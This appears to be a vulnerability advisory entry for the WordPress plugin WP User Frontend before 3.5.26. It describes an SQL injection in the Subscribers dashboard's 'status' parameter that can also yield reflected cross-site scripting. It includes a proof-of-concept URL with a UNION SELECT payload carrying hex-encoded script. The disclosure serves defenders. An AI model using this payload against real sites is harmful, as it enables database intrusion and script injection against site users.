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wpexploitKrzysztof ZającWPEX-ID:6D3EEBA6-5560-4380-A6E9-F008A9112AC6
HistoryDec 27, 2021 - 12:00 a.m.

WP User Frontend < 3.5.26 - SQL Injection to Reflected Cross-Site Scripting

2021-12-2700:00:00
Krzysztof Zając
65

0.005 Low

EPSS

Percentile

77.2%

The plugin does not validate and escape the status parameter before using it in a SQL statement in the Subscribers dashboard, leading to an SQL injection. Due to the lack of sanitisation and escaping, this could also lead to Reflected Cross-Site Scripting

https://example.com/wp-admin/admin.php?page=wpuf_subscribers&post_ID=1&status=%22+union+select+1%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C0x3c696d6720737263206f6e6572726f723d616c6572742831293e+--+g

0.005 Low

EPSS

Percentile

77.2%